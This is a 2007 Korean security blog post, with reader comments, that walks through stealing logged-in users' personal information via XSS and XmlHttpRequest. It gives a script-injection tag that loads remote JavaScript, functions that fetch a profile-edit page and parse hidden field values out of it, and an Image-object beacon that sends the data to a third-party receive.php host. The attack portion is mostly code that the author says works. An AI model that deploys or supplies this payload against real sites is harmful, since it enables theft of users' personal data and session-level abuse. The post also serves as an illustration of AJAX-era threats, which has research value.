Egloos | Log-in


AJAX의 위력 - XmlHttpRequest를 이용하여 중요정보 빼내기

Web 2.0가 현재 웹 환경을 이끌어가는 큰 키워드 입니다. 그 중에서 AJAX이란 기술은 브라우저의 역할을 더욱 확대시켰죠. 보안분야에서도 변화하는 웹 트렌드에 맞게 AJAX과 Web 2.0 환경에서 발생할 수 있는 위협에 대해서 많은 논의가 되고 있습니다. 과거에 myspace.com을 타겟으로 한 Samy웜과 Sesseion Hijacking이 그 대표적인 예 입니다.

큰 의미에서 보면 XSS(Cross Site Script) 취약성이나 CSRF(Cross Site Request Fogery) 취약성을 이용하죠. 저도 이를 이용해서 하나를 만들어 봤습니다. 웹 사이트들이 AJAX 컨셉을 이용하여 발전하듯이 웹 관련 공격도 AJAX을 이용하지 말라는 법은 없겠죠? ^^;;

음.. AJAX의 큰 특징이라면 XmlHttpRequest 객체를 이용하여 브라우저의 역할을 좀 더 향상 시켰다는 점이라고 생각합니다. (맞나요? -_-;;) XmlHttpRequest를 이용하여 사이트와 통신을 하게 되는데 사용자가 브라우저를 Reload 하지 않더라도 자바스크립트를 통해 XmlHttpRequest 객체를 생성하고 필요시마다 웹 서버와 통신을 하게 되는거죠. 공격의 핵심포인트는 이 부분입니다.

XSS취약성이 존재하는 웹 사이트에서 취약성을 이용해 원격지에 있는 자바스크립트 파일을 불러오도록 합니다. 그럼 취약성에 의해서 자바스크립트 파일이 웹 사이트에 접근하는 사용자의 브라우저에서 실행되겠죠? 삽입한 스크립트 코드는 다음과 같습니다.


<script type=text/javascript src=http://remote-site/xsscode.js></script><script>StealerSendRequest();</script>


스크립트가 실행되면 StealerSendRequest()에 의해서 일련의 작업(?)을 시작하게 됩니다.

제가 만들어본 코드는 특정 웹 사이트에서 로그인 한 유저가 자신의 개인정보를 변경하기 위해서 변경 페이지로 갈 때 이미 기록되어 있는 정보를 빼오는 동작을 합니다. 제가 쓰고도 무슨 말인지 헛갈리는데요... ^^;;  즉, hidden 속성을 가진 값을 빼오는 것입니다. -_-;; 물론 hidden 값이 아니더라도 웹 페이지에 있는 어떠한 값이라도 가져올 수 있습니다.

간단하죠? XmlHttpRequest의 덕분이죠. ㅎㅎ

그럼 코드를 보시면 getXHR()은 XmlHttpRequest객체를 생성하는 함수 입니다.

function getXHR()
{
  if(xhr!=null) return;

  if(window.ActiveXObject) {
    xhr = new ActiveXObject("Msxml2.XMLHTTP");
    if(!xhr)
      xhr = new ActiveXObject("Microsoft.XMLHTTP");
  }

  else if(window.XMLHttpRequest) {
    xhr = new XMLHttpRequest();
  }
}



다음 코드는 StealerSendRequest() 함수 입니다.

function StealerSendRequest()
{
  getXHR();

  xhr.onreadystatechange = hStateChange;
  xhr.open("GET", "/user/user_info_modi.asp", true);
  xhr.send(null);
}



이 코드에서 중요한 부분은 open() 함수 입니다. 함수를 통해 서버에게 개인사용자 변경 페이지인 user_info_modi.asp 파일을 요청합니다. 요청에 대해서 hStateChange() 함수가 동작을 하도록 설정을 해뒀습니다. 물론 꼭 개인 사용자 변경 페이지가 아니여도 됩니다. 원하는 페이지를 호출하도록 변경하면 되죠.

정상적으로 페이지가 호출된다면 XmlHttpRequest 객체의 맴버인 responseText 나 responseXML등을 통해 응답(Response)값을 볼 수 있습니다. 제 코드에서는 XML 형태의 DOM이 아니므로 responseText를 이용하여 문자열 파싱을 했습니다. 다음은 파싱코드의 일부입니다.

// searching process
var searchStr = /input.*ml_name.*value=\"/;
var matStr = response.match(searchStr);
var start = response.search(searchStr);
var len = start + matStr[0].length;
var token1 = response.substr(len, 30);
info[0] = token1.substr(0, token1.search(/\"/));

위 파싱코드는 정규표현식 /input.*ml_name.*value=\"/ 에 해당하는 부분을 찾은 후 이를 기준으로 원하는 스트링을 가져오는 것이죠. 즉, 위 코드는 사용자 이름을 가져오기 위한 코드입니다.

이렇게 문자열을 파싱하여 원하는 정보를 info라는 배열에 담아 최종적으로 제 3의 원격지에 정보를 전송합니다. 전송은 자바스크립트 내에서 Image 객체를 통해 수행했습니다.

var i=new Image(0,0);
i.src = "http://제3의원격지/fullc0de/receive.php?id="+info[1];

이렇게 설정하면 다 끝이 납니다.

물론 제가 위에서 설명드린 부분은 몇가지 조건이 만족해야 하겠죠? 그 조건은 다음과 같습니다.

1. XSS 취약성 포인트가 존재함.
2. 로그인한 유저는 중요정보가 담긴 특정 페이지에 대해 직접 접근이 가능해야함. (인증과정을 한번 더 거치면 곤란하겠죠? -_-;;)
3. 웹 페이지에 중요 정보가 담겨있어야 함.. (당연함.. @_@)



공격은 유효 합니다. 스크린샷 같은 것도 함께 넣고 싶었는데.. 귀차니즘이... 죄송합니다. ㅎㅎ

국내에서도 점점 AJAX을 이용하여 웹 사이트를 만드는 사례가 증가하고 있습니다. 브라우저에 이를 처리하는 스크립트와 웹 서버간에 통신은 XML이나 JSON등을 보통 이용하고 있죠. 이러한 파일들은 위에서 설명한 XmlHttpRequest 객체를 통해 처리하고 있습니다. 즉, XML이나 JSON과 같은 문서가 사용자의 중요정보를 담고 있다면 어떻게 될까요? 예전에 화이트햇 시큐리티의 CTO인 제레미(맞나요? @_@;;)씨가 보여줬던 Gmail의 contact list 빼오기도 이와 같은 맥락입니다. 아! SPI Dynamics 에서 발표했던 Jikto도 이 기법을 이용한 것이죠.. 후후후

새로운 환경에는 언제나 새로운 공격기법이 나오기 마련인 것 같습니다. 더 재미난 것이 많이 나왔으면 좋겠네요.. 그럼 이만..

  


by fullc0de | 2007/07/28 17:10 | 보안 | 트랙백 | 덧글(5)

Commented by ZIZI at 2007/07/29 01:42
web 2.0으로 가면서 더 많은 것이 좋아지지만, 그에 대한 보안을 더욱 신경쓰게 많들죠..
공격하는 입장에서는 즐겁고, 막는 입장에서는 힘들고..
에혀..양면성의 직업~
Commented by n0fate at 2007/07/30 12:00
정말 ZIZI님 말씀대로 양면성의 직업입니다..

요즘오는 메일을 봐도 AJAX의 공격기법에 대한 내용이 많아지더군요..
Commented by m4gichack at 2007/07/30 22:59
fullc0de// 동영상을 만들어 달라!! 동영상을~~
zizi // 그동안 강녕하셨습니까? 상흠입니다.^^ 자주 놀러가겠슴다..
Commented by fullc0de at 2007/07/31 10:20
ZIZI // 너무 또 보안에 신경쓰면 저희들이 피곤하더라구요 -_-;; ㅋㅋ
n0fate // 한참 뜨고 있는 이슈죠 ^^
m4gichack // 동영상 = 귀차니즘 -_-;;
Commented by suban at 2007/10/17 22:01
퍼갈게요
※ 이 포스트는 더 이상 덧글을 남길 수 없습니다.

◀ 이전 페이지          다음 페이지 ▶